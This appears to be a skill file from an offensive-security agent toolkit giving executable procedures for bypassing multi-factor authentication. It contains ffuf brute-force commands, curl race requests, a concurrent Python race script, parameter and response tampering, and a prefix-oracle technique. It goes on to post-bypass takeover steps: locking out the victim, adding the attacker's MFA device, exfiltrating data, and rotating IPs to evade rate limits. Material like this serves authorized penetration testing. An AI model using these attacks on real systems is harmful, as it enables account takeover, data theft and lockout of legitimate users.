--- name: khaos-mfa-bypass description: Bypass real de MFA — reutilização de código, brute force de OTP, race condition, código vazio/nulo, manipulação de parâmetros e acesso à conta sem segundo fator metadata: khaos: tool_ids: [httpx, ffuf] wordlist_ids: [] stages: [authentication, vuln, validation, exploitation] source_type: original source: repository: https://github.com/henriqqw/Khaos revision: internal path: internal/skillseed/catalog/khaos-mfa-bypass/SKILL.md license: MIT reviewed_by: Khaos maintainers review_note: Skill de bypass de MFA executável — permite bypass real de autenticação multi-fator e acesso à conta sem segundo fator dentro do escopo.
MFA Bypass — Bypass Real de Autenticação Multi-Fator
Objetivo
Explorar implementações falhas de MFA para contornar o segundo fator sem possuir o dispositivo ou código legítimo, obtendo acesso à conta da vítima dentro do escopo.
Pré-condições
- Conta de teste com MFA habilitado no escopo.
- Acesso a proxy de interceptação.
- Autorização para teste de MFA (authorization plan com
aggressive: true).
Procedimento Executável
1. Reutilização de código OTP/TOTP
Use o mesmo código duas vezes no mesmo intervalo:
POST /api/mfa/verify
{"otp": "123456"}
POST /api/mfa/verify
{"otp": "123456"}
Se ambos aceitos → não há controle de uso único.
2. Brute force de OTP
Teste se há rate limiting no endpoint de validação:
ffuf -w codes.txt:CODE \
-X POST \
-H "Content-Type: application/json" \
-d '{"otp": "CODE"}' \
-u https://target.com/api/mfa/verify \
-rate 10
Teste 000000-999999 se não houver rate limiting.
3. Manipulação de fluxo (skip MFA)
Após validar senha, pule diretamente para URL pós-MFA:
GET /api/dashboard (sem completar MFA)
GET /api/home
GET /api/settings
Se a sessão está ativa sem MFA → bypass confirmado.
4. Manipulação de parâmetros
Intercepte requisição de validação MFA e altere:
POST /api/mfa/verify
{"otp": "123456", "mfa_required": false}
{"otp": "123456", "skip_mfa": true}
{"otp": "123456", "mfa_enrolled": false}
Ou remova o campo MFA completamente:
POST /api/mfa/verify
{"otp": ""}
5. Código vazio/nulo
Envie valores inválidos para OTP:
{"otp": ""}
{"otp": null}
{"otp": 0}
{"otp": "0"}
{"otp": []}
{"otp": {}}
Backends que não validam tipo podem aceitar.
6. Race condition
Envie duas requisições simultâneas com mesmo código:
curl -X POST https://target.com/api/mfa/verify -d '{"otp":"123456"}' &
curl -X POST https://target.com/api/mfa/verify -d '{"otp":"123456"}' &
wait
Se ambas aceitas → condição de corrida no servidor.
7. Código de backup/recuperação
Tente códigos de recuperação gerados na criação da conta. Verifique se expiram ou têm limite de uso.
8. Acesso à conta após bypass
Após bypass de MFA:
- Acesse a conta da vítima
- Altere email/senha para manter acesso (takeover)
- Adicione dispositivo de MFA do atacante
- Remova MFA da vítima
- Exfiltre dados sensíveis
Execução via ferramentas do Khaos
- httpx: teste de endpoints de MFA
- ffuf: brute force de códigos OTP
- Burp Suite: teste manual de manipulação de fluxo e parâmetros
- Comando arbitrário:
khaos_exec_shellpara scripts automatizados de bypass de MFA
Condições de Parada
- Rate limiting ativo após 3–5 tentativas incorretas.
- Redirecionamento para etapa MFA mesmo ao acessar diretamente URL pós-login.
- Código OTP inválido ou nulo rejeitado com 400/401.
Referências
- OWASP Testing Guide: OTG-AUTHN-011
- CVE-2022-35736 (Cisco Duo MFA bypass via race condition)
- PortSwigger: Multi-factor authentication bypass labs
BugHunter Patterns
Patterns sourced from elementalsouls/Claude-BugHunter
Autonomous Testing Priority
Try workflow bypasses before brute force — they're faster and more likely to succeed.
Pattern 1 — Skip the MFA step entirely (most automatable):
- Login with valid credentials → receive a "pre-MFA" session state
- Without completing MFA, directly access a protected resource (
/dashboard,/api/me,/account/profile) - If the response returns user data → MFA is enforced only in the UI, not server-side = Critical
Pattern 2 — OTP replay (reuse a consumed code):
- Complete a valid MFA flow to get a working OTP
- Log out, log in again with the same credentials
- Submit the same OTP again
- If accepted → OTP is not invalidated after use
Pattern 3 — Submit obviously wrong OTP, observe response:
Try submitting 000000 or 123456. If the response is 200 or returns a session token, OTP validation is broken or client-side only.
Pattern 4 — Partial / incremental validation (prefix oracle): If a guessed full code is rejected, test whether the server validates the OTP prefix-by-prefix instead of all-or-nothing. Submit a short partial code and compare responses:
- Submit a 1–3 digit value (e.g.
otp=1, thenotp=12, …) — for a POST verify endpoint the code goes in the request body, not the URL query string, or the server reads an empty value. - If a correct prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time.
- Walk the code digit-by-digit: keep the prefix that "responds correct," append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test.
This is the go-to when there is no leaked code and no skip/replay path. Some apps award success on any correct prefix outright (so a single correct first digit can win — sweep
otp=0,1,…,9before giving up). CRITICAL — stay in ONE session: re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses.
On full brute force: brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space.
Proof: A session token or protected resource data in the response without completing MFA confirms the bypass.
19. MFA / 2FA BYPASS
Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.
Pattern 1: No Rate Limit on OTP
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
Pattern 2: OTP Not Invalidated After Use
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
Pattern 3: Response Manipulation
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
Pattern 4: Skip MFA Step (Workflow Bypass)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
Pattern 5: Race on MFA Verification
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
Pattern 6: Backup Code Brute Force
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
Pattern 7: "Remember This Device" Trust Escalation
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA Chain Escalation
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
Related Skills & Chains
hunt-ato— MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.hunt-race-condition— Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 "already-used" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO.hunt-auth-bypass— MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to/dashboardskipping/mfaroute + server only middleware-gates/mfanot/dashboard= full post-auth access from password-only state → MFA never enforced because the route gate was misplaced.hunt-misc— Recovery-code dump via/api/meis a misc-class info disclosure that becomes Critical when chained. Chain primitive:/api/mereturns full user object includingbackup_codesarray (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge.security-arsenal— Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with-t 5 -p 0.5-2, distributed-IP rotation via proxychains) and the JWT-token-replay table when "MFA satisfied" claim lives in a JWT claim that can be forged.triage-validation— Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two.